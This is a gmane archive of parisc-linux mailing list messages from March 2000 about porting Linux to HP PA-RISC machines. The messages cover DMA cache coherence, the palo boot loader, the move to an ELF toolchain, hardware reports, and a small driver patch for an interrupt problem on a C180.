Original-X-From: prumpf@inwestnet.de  Tue Mar  7 17:45:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA01434
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Mar 2000 17:45:32 -0700
Original-Received: (qmail 26593 invoked by uid 15267); 7 Mar 2000 23:46:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26575 invoked from network); 7 Mar 2000 23:46:41 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 7 Mar 2000 23:46:41 -0000
Original-Received: (qmail 16695 invoked from network); 7 Mar 2000 23:46:38 -0000
Original-Received: from port0167.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.167)
  by mail.ginko.net with SMTP; 7 Mar 2000 23:46:38 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id AAA07903;
	Wed, 8 Mar 2000 00:46:44 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200003071933.LAA02811@lucy.cup.hp.com>; from jerry_huck@hp.com on Tue, Mar 07, 2000 at 11:33:09AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6983

> > Can you give us a concrete list of broken memory systems ?
> 
> Unfortunately not, since these memory systems weren't broken wrt
> the architecture, I didn't keep track of this feature.  We really need
> some interesting combination of memory system and I/O adapter coherence
> capability.  Grant has posted much more on this than I know.
> 
> > > If you set the U-bit on a main memory page and then reference the page,
> > > the processor will emit a sub-cacheline transaction and the memory system
> > > will do something bad (probably HPMC).
> > 
> > So there is a sub-cacheline transaction on Runway but current memory
> > controllers don't implement it ?
> 
> Yes.  The bus interface doesn't know the distinction between I/O accesses
> and main memory.  The processor relies on "F" extension and/or the U-bit
> to sort out how to treat an address dereference.  Sub-cacheline transactions
> are the normal memory-mapped I/O transactions.

Okay, so there are several things I'd like to resolve:

On Runway-based systems, we don't need uncached memory.
On PA7[13]00LC, uncached memory works.
On old 715s, we don't have PCI.


So, it looks to me like there's no case left we cannot handle except for
undocumented Runway interfaces we just hope don't get in our way (U2 / Uturn,
for now) (and even for those it's probably just one bit we'll have to set).

> > uncacheable main memory is the only sane way to deal with cache-incoherent
> > DMA - macros to flush the cache are both slower and harder to add to drivers
> > written with the assumption that dma is cache-coherent.
> 
> The architecture was not designed to import drivers written to a
> cache-coherent model.  This is not unique to PA-RISC.  Even IA-32 had
> a little trouble on the first write-back caches in the 486.  While it
> is not simple to convert all drivers, many drivers have a fairly clean
> design that make it manageable to add the appropriate flush calls.  Some
> drivers have byte granular interactions that make them impossible to
> re-work.

There won't be any flush calls left to add in 2.4.  Unless you want to
maintain a patch against Linus for every single PCI driver in the tree
there's really no way we can use those with systems that neither have
uncached memory nor coherent DMA (and still, we don't know of even one
such system).

	Philipp Rumpf


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Tue, 07 Mar 2000 16:33:00 -0800
Lines: 52
Approved: news@gmane.org
Message-ID: <200003080033.QAA06619@milano.cup.hp.com>
References: <20000308004543.A5281@abacus.local>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618820 31027 80.91.229.3 (22 Nov 2014 01:13:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:40 +0000 (UTC)
Cc: huck@cup.hp.com, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@inwestnet.de>
Original-X-From: grundler@cup.hp.com  Tue Mar  7 18:30:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA02946
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Mar 2000 18:30:22 -0700
Original-Received: (qmail 19232 invoked by uid 15267); 8 Mar 2000 00:31:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19225 invoked from network); 8 Mar 2000 00:31:31 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 8 Mar 2000 00:31:31 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 3D7A582A
	for <parisc-linux@thepuffingroup.com>; Tue,  7 Mar 2000 16:31:31 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id QAA06619; Tue, 7 Mar 2000 16:33:08 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 08 Mar 2000 00:45:43 PST."
             <20000308004543.A5281@abacus.local> 
Xref: news.gmane.org gmane.linux.ports.parisc:6984

Philipp Rumpf wrote:

> Okay, so there are several things I'd like to resolve:
> 
> On Runway-based systems, we don't need uncached memory.
> On PA7[13]00LC, uncached memory works.
> On old 715s, we don't have PCI.

I was mostly worried about systems with PCI.
I'm not worried anymore.


> So, it looks to me like there's no case left we cannot handle except for
> undocumented Runway interfaces we just hope don't get in our way (U2 / Uturn,
> for now) (and even for those it's probably just one bit we'll have to set).

I'm pretty sure systems with Runway will not be a problem.
(Except T600) There are other Runway-to-xxx bus converters but
I believe those will be transparent WRT I/O coherency problems.

> There won't be any flush calls left to add in 2.4.  Unless you want to
> maintain a patch against Linus for every single PCI driver in the tree
> there's really no way we can use those with systems that neither have
> uncached memory nor coherent DMA (and still, we don't know of even one
> such system).

I'm pretty sure Jerry wasn't referring to PCI drivers.
Systems with PCI are either I/O Coherent or have PA-7[13]00LC.

It seems only drivers running on systems with PA-7000 processors (which
AFAIK doesn't support U-bit) would need cache flushing. While those
drivers aren't for PCI devices, they might share some of the "core"
driver logic (NCR 53c700 SCSI?). So people who care about those boxes
(eg model 710) *will* have to maintain patches against a few drivers
or fork off their own version of the driver. The good thing is the
number of different models, the age of those models, and thus number
of drivers should all be pretty small.

grant

> 
> 	Philipp Rumpf
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo
Date: Tue, 07 Mar 2000 18:18:05 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <E12SV6z-000245-00@endor.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618820 31031 80.91.229.3 (22 Nov 2014 01:13:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Tue Mar  7 19:17:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA03508
	for <parisc-linux@puffin.external.hp.com>; Tue, 7 Mar 2000 19:17:27 -0700
Original-Received: (qmail 13721 invoked by uid 15267); 8 Mar 2000 01:18:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13697 invoked from network); 8 Mar 2000 01:18:35 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 8 Mar 2000 01:18:35 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by palrel3.hp.com (Postfix) with ESMTP id 0BA968B6
	for <parisc-linux@thepuffingroup.com>; Tue,  7 Mar 2000 17:18:35 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12SV6z-000245-00; Tue, 7 Mar 2000 18:18:05 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6985


I incorporated prumpf's byte-order changes to palo & ipl so they *should*
work when cross-compiled on x86 but I haven't been able to confirm that yet.

palo (really ipl) was converted to use ELF32, so you don't need SOM
for the boot loader.  palo still understands either SOM or ELF32
executables for ipl (if you happen to have an old one) and/or vmlinux.

The palo sources have been heavily re-named, so get your new bits with care!

One oddity -- you have to build palo 2 extra times at first, due to
some symlinking hacks.  VPATH would probably be better, when I get the time,
or somebody else does.

	-P


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sorta results of a J210XC?
Date: Wed, 08 Mar 2000 13:27:21 -0600
Organization: @Home Network
Lines: 26
Approved: news@gmane.org
Message-ID: <38C6A999.40D4858@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618821 31035 80.91.229.3 (22 Nov 2014 01:13:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mhudson@home.com  Wed Mar  8 13:25:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA10778
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Mar 2000 13:25:21 -0700
Original-Received: (qmail 30214 invoked by uid 15267); 8 Mar 2000 19:26:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30206 invoked from network); 8 Mar 2000 19:26:32 -0000
Original-Received: from ha1.rdc1.ne.home.com (HELO mail.rdc1.ne.home.com) (imail@24.2.4.66)
  by mailserv2.iuinc.com with SMTP; 8 Mar 2000 19:26:32 -0000
Original-Received: from home.com ([24.3.241.137]) by mail.rdc1.ne.home.com
          (InterMail v4.01.01.00 201-229-111) with ESMTP
          id <20000308192630.KOMJ21671.mail.rdc1.ne.home.com@home.com>
          for <parisc-linux@thepuffingroup.com>;
          Wed, 8 Mar 2000 11:26:30 -0800
X-Mailer: Mozilla 4.02 [en]C-AtHome0402  (Win95; U)
Xref: news.gmane.org gmane.linux.ports.parisc:6986

The reason I say 'sorta' is because I don't have a front
panel on my case and I'm not 100% sure it is a J210XC,
but here are the specs, so maybe you can tell me.
(recalling this from memory, if you need more info
I'll obtain try to obtain it).

HP A4491A
Dual 120Mhz CPU with 1MBIC,1MBDC (from IN)

from -more /proc/cpuinfo
cpu: PA-RISC 7200
model name: LighteningHawk T120

As far as booting kernel goes, I get to the prompt and am able
to -mount, -more, etc.

I'll add this to your database if I can confirm(determine)
what it is.

I don't have HP/UX so I can't obtain any information from
its various utilities.

Thanks,

-Matt


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Shack <sshack@cln.etc.bc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Neat hardware on 712.
Date: Wed, 08 Mar 2000 21:44:32 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <38C73A40.968A77C1@cln.etc.bc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618821 31038 80.91.229.3 (22 Nov 2014 01:13:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sshack@cln.etc.bc.ca  Wed Mar  8 23:43:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA17514
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Mar 2000 23:43:33 -0700
Original-Received: (qmail 1483 invoked by uid 15267); 9 Mar 2000 05:44:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1473 invoked from network); 9 Mar 2000 05:44:41 -0000
Original-Received: from learn.etc.bc.ca (142.44.5.2)
  by mailserv2.iuinc.com with SMTP; 9 Mar 2000 05:44:41 -0000
Original-Received: from cln.etc.bc.ca (zbsgib@24.65.187.169.bc.wave.home.com [24.65.187.169])
	by learn.etc.bc.ca (8.9.3/8.9.3) with ESMTP id VAA24345
	for <parisc-linux@thepuffingroup.com>; Wed, 8 Mar 2000 21:43:29 -0800 (PST)
Original-Sender: sshack@learn.etc.bc.ca
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6987

Good day puffins,
    Last night  Philipp and myself were playing around with the 712's
discusing how to support the powerswitch gracefully when we realized
that there was a cable going to the front of the case; Upon further
inspection it is a thermal sensor. Some duscussion followed as to how
this might be interfaced to the system. As it turns out it works as the
following. When the circuit is completed and the sensor is too hot
another fan in the back of the 712's power supply turns on. We've yet to
determine if there is anything else going on in the system or if there
is any way this information is reported back to the os/running system at
all but we'll investigate further. Philipp has suspicions about the
large number of wires coming on the power header. That perhaps some of
those wires are used for signaling. Myself I have a feeling that it
might be a combination of that and the two smaller wires coming from the
psu.


That's all for now.
Steve


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Neat hardware on 712.
Date: Thu, 9 Mar 2000 09:27:32 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <20000309092732.F27942@thepuffingroup.com>
References: <38C73A40.968A77C1@cln.etc.bc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618821 31041 80.91.229.3 (22 Nov 2014 01:13:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Steve Shack <sshack@cln.etc.bc.ca>
Original-X-From: willy@thepuffingroup.com  Thu Mar  9 08:26:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA20750
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Mar 2000 08:26:57 -0700
Original-Received: (qmail 24683 invoked by uid 15267); 9 Mar 2000 14:28:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24672 invoked from network); 9 Mar 2000 14:28:05 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 9 Mar 2000 14:28:05 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id JAA14645;
	Thu, 9 Mar 2000 09:27:32 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <38C73A40.968A77C1@cln.etc.bc.ca>; from Steve Shack on Wed, Mar 08, 2000 at 09:44:32PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6988

On Wed, Mar 08, 2000 at 09:44:32PM -0800, Steve Shack wrote:
> Good day puffins,
> following. When the circuit is completed and the sensor is too hot
> another fan in the back of the 712's power supply turns on. We've yet to
> determine if there is anything else going on in the system or if there
> is any way this information is reported back to the os/running system at
> all but we'll investigate further. Philipp has suspicions about the

hmm, i wonder if it uses the i2c bus like lm_sensors...


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rajiv Dighe" <rdighe@nortelnetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Neat hardware on 712.
Date: Thu, 9 Mar 2000 11:33:32 -0500
Organization: Nortel Networks
Lines: 35
Approved: news@gmane.org
Message-ID: <00bd01bf89e5$35755020$4c50fb8d@corpnorth.baynetworks.com>
References: <38C73A40.968A77C1@cln.etc.bc.ca>
Reply-To: "Rajiv Dighe" <rdighe@nortelnetworks.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618821 31043 80.91.229.3 (22 Nov 2014 01:13:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:41 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: rdighe@nortelnetworks.com  Thu Mar  9 10:30:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA21776
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Mar 2000 10:30:59 -0700
Original-Received: (qmail 14420 invoked by uid 15267); 9 Mar 2000 16:32:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14318 invoked from network); 9 Mar 2000 16:32:06 -0000
Original-Received: from smtprtp1.ntcom.nortel.net (137.118.22.14)
  by mailserv2.iuinc.com with SMTP; 9 Mar 2000 16:32:06 -0000
Original-Received: from zcard00m.ca.nortel.com (actually zcard00m) 
          by smtprtp1.ntcom.nortel.net; Thu, 9 Mar 2000 11:31:44 -0500
Original-Received: from zcard00b.ca.nortel.com ([47.128.208.105]) 
          by zcard00m.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id GHMX1B2S; Thu, 9 Mar 2000 11:31:42 -0500
Original-Received: from netrdighe (NET-RDIGHE [141.251.80.76]) by zcard00b.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) 
          id FHAFJYLG; Thu, 9 Mar 2000 11:31:41 -0500
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-MIME-Autoconverted: from base64 to 8bit by puffin.external.hp.com id KAA21776
Xref: news.gmane.org gmane.linux.ports.parisc:6989

Talking of cool stuff..atleast I found this to be cool coming from wintel architecture, but while I was helping a friend load HP/UX 10.20 on a stack of 712s he has acquired, we came across a machine that had bad memory simm in it. when machine booted, it showed image of mainboard on the screen with simm slot that containing bad simm highlighted..sure beats the heck out of trying to listen to beeps on the speaker to find out what's wrong :)

--Rajiv
----- Original Message ----- 
From: "Steve Shack" <sshack@cln.etc.bc.ca>
To: <parisc-linux@thepuffingroup.com>
Sent: Thursday, March 09, 2000 12:44 AM
Subject: [parisc-linux] Neat hardware on 712.


> Good day puffins,
>     Last night  Philipp and myself were playing around with the 712's
> discusing how to support the powerswitch gracefully when we realized
> that there was a cable going to the front of the case; Upon further
> inspection it is a thermal sensor. Some duscussion followed as to how
> this might be interfaced to the system. As it turns out it works as the
> following. When the circuit is completed and the sensor is too hot
> another fan in the back of the 712's power supply turns on. We've yet to
> determine if there is anything else going on in the system or if there
> is any way this information is reported back to the os/running system at
> all but we'll investigate further. Philipp has suspicions about the
> large number of wires coming on the power header. That perhaps some of
> those wires are used for signaling. Myself I have a feeling that it
> might be a combination of that and the two smaller wires coming from the
> psu.
> 
> 
> That's all for now.
> Steve
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Pflederer <krp@rsn.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 experience
Date: Thu, 9 Mar 2000 12:44:02 -0600
Lines: 86
Approved: news@gmane.org
Message-ID: <20000309124402.F5197@h47clkrp.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618822 31046 80.91.229.3 (22 Nov 2014 01:13:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: krp@h47clkrp.atl.hp.com  Thu Mar  9 12:34:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA22922
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Mar 2000 12:34:35 -0700
Original-Received: (qmail 22216 invoked by uid 15267); 9 Mar 2000 18:35:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22199 invoked from network); 9 Mar 2000 18:35:47 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 9 Mar 2000 18:35:47 -0000
Original-Received: from h47clkrp.atl.hp.com (h47clkrp.atl.hp.com [15.114.131.162])
	by palrel3.hp.com (Postfix) with ESMTP id 69E55D23
	for <parisc-linux@thepuffingroup.com>; Thu,  9 Mar 2000 10:35:45 -0800 (PST)
Original-Received: (from krp@localhost)
	by h47clkrp.atl.hp.com (8.9.3/8.8.7) id MAA21412
	for parisc-linux@thepuffingroup.com; Thu, 9 Mar 2000 12:44:02 -0600
X-Mailer: Mutt 1.0pre3us
Original-Sender: krp@h47clkrp.atl.hp.com
Xref: news.gmane.org gmane.linux.ports.parisc:6990

Hi-

I wanted to share my experience with getting my C180 to boot using the
PALO, the ELF kernel, and NFSROOT.  I was successfully able to build
the "binutils" and "gcc" packages for cross compiling from x86 linux.
Although, I did have the '$global$' symbol problem which I ignored:

Testing libgcc1.  Ignore linker warning messages.
/parisc/gcc-build/gcc/xgcc -B/parisc/gcc-build/gcc/ -B/parisc/tools/gcc/hppa1.1-linux/bin/ -I/parisc/tools/gcc/hppa1.1-linux/include -DCROSS_COMPILE -DIN_GCC  -DMULTIBYTE_CHARS=1   -g -O2  -I./include  libgcc1-test.o -o libgcc1-test \
  -nostartfiles -nostdlib `/parisc/gcc-build/gcc/xgcc -B/parisc/gcc-build/gcc/ -B/parisc/tools/gcc/hppa1.1-linux/bin/ -I/parisc/tools/gcc/hppa1.1-linux/include --print-libgcc-file-name`
libgcc1-test.o: In function `main_without__main':
/parisc/gcc-build/gcc/../../gcc/gcc/libgcc1-test.c:20: undefined reference to `$global$'
collect2: ld returned 1 exit status
make[1]: *** [libgcc1-test] Error 1
make[1]: Leaving directory `/parisc/gcc-build/gcc'
make: *** [all-gcc] Error 2

Using the instructions in /palo/README.CROSSCOMPILE, I was able to build an
x86 version of palo, and a parisc version if ipl.

With those tools, I could build the ELF_BRANCH version of the kernel with
make menuconfig; make dep; make palo

After setting up bootp, tftp, and NFS, I was able to start booting, but the 
machine would HPMC during the ethernet driver init:

pty: 256 Unix98 ptys configured^M
eth0: 82596 at 0xffd07000, 00 60 B0 18 39 C0 IRQ 535.^M
lasi_82596.c:v1.2 02/13/2000^M
eth0: lp at 0xc7fad000 (1716 bytes), lp->scb at 0xc7fad014^M
request_irq(535, c01a5d0c, 0x0, i82596, c7fb8020)^M
[ HPMC HERE ]

It appears that there was an interrupt already pending when the irq was 
turned on.  This caused the interrupt handler to get called
before everything was set-up, which I believe led to the HPMC:

pty: 256 Unix98 ptys configured^M
eth0: 82596 at 0xffd07000, 00 60 B0 18 39 C0 IRQ 535.^M
lasi_82596.c:v1.2 02/13/2000^M
eth0: lp at 0xc7fad000 (1716 bytes), lp->scb at 0xc7fad014^M
eth0: i596_open() irq 535.^M
request_irq(535, c01a5d0c, 0x0, i82596, c7fb8020)^M
eth0: i596_interrupt(): irq 535^M
eth0: i596 interrupt, status 0000.^M
[ HPMC HERE ]

So I hacked the driver to ignore the interrupt until the lan chip
is initialized, and was able to get to sash (see below).   Probably
not the right way to fix this, but it worked.

I hope this is helpful.

-Bob Pflederer

===================================================================
RCS file: /home/cvs/parisc/linux-2.3/drivers/net/lasi_82596.c,v
retrieving revision 1.1.2.1
diff -c -r1.1.2.1 lasi_82596.c
*** lasi_82596.c        2000/03/03 21:41:47     1.1.2.1
--- lasi_82596.c        2000/03/09 19:26:13
***************
*** 986,991 ****
--- 986,993 ----
        if (i596_debug > 1)
                printk("%s: i596_open() irq %d.\n", dev->name, dev->irq);
  
+       dev->interrupt = -1;
+ 
        if (request_irq(dev->irq, &i596_interrupt, 0, "i82596", dev))
                return -EAGAIN;
  
***************
*** 1182,1187 ****
--- 1184,1193 ----
        if (i596_debug > 3)
                printk("%s: i596_interrupt(): irq %d\n", dev->name, irq);
  
+       if (dev->interrupt == -1) {
+               printk("i596_interrupt(): irq %d skipping interrupt handler.\n", irq);
+               return;
+       }
        /* how fatal could this actually be? */
        if (dev->interrupt)
                printk("%s: Re-entering the interrupt handler.\n", dev->name);


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux-2.3/palo switched to ELF binary
Date: Thu, 9 Mar 2000 10:52:33 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200003091852.KAA08656@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618822 31050 80.91.229.3 (22 Nov 2014 01:13:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Mar  9 12:49:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA23069
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Mar 2000 12:49:41 -0700
Original-Received: (qmail 6014 invoked by uid 15267); 9 Mar 2000 18:50:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6002 invoked from network); 9 Mar 2000 18:50:54 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 9 Mar 2000 18:50:54 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id 5348B593
	for <parisc-linux@thepuffingroup.com>; Thu,  9 Mar 2000 13:50:53 -0500 (EST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA08656 for parisc-linux@thepuffingroup.com; Thu, 9 Mar 2000 10:52:33 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6991


Hi folks,
Yesterday, after several days of testing, it was decided to switch
the kernel over to the ELF tool chain.  Mike Ang merged the changes
from the ELF_BRANCH onto the main line branch.  This switch is
necessary to:
o enable work on PA2.0 (64-bit) kernel support
o avoid SOM specific kluges in kernel initialization path


Willy updated the "How to Build a Kernel" a few days ago but
it doesn't include any info for palo (eg cvs -z3 co palo).
(Paul - can you fix that?)

I'm told only "make palo" works right now and "make Image" does not.
Interested parties are welcome to fix "make Image".

Is the ELF "hppa1.1" tool chain available as swdepot or tarball?
It would make life alot easier for folks like myself who aren't
very good tool chain hackers but could contribute in other ways.
(I already have ELF tool binaries - thanks to paul)

thanks,
grant


From - Thu Nov 08 21:12:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Cabatoff <ncc@cs.mcgill.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HFS linux implementation
Date: Thu, 9 Mar 2000 19:35:35 -0500
Organization: SOCS, McGill University, Montreal, CANADA
Lines: 23
Approved: news@gmane.org
Message-ID: <20000309193535.C3423@cs.mcgill.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
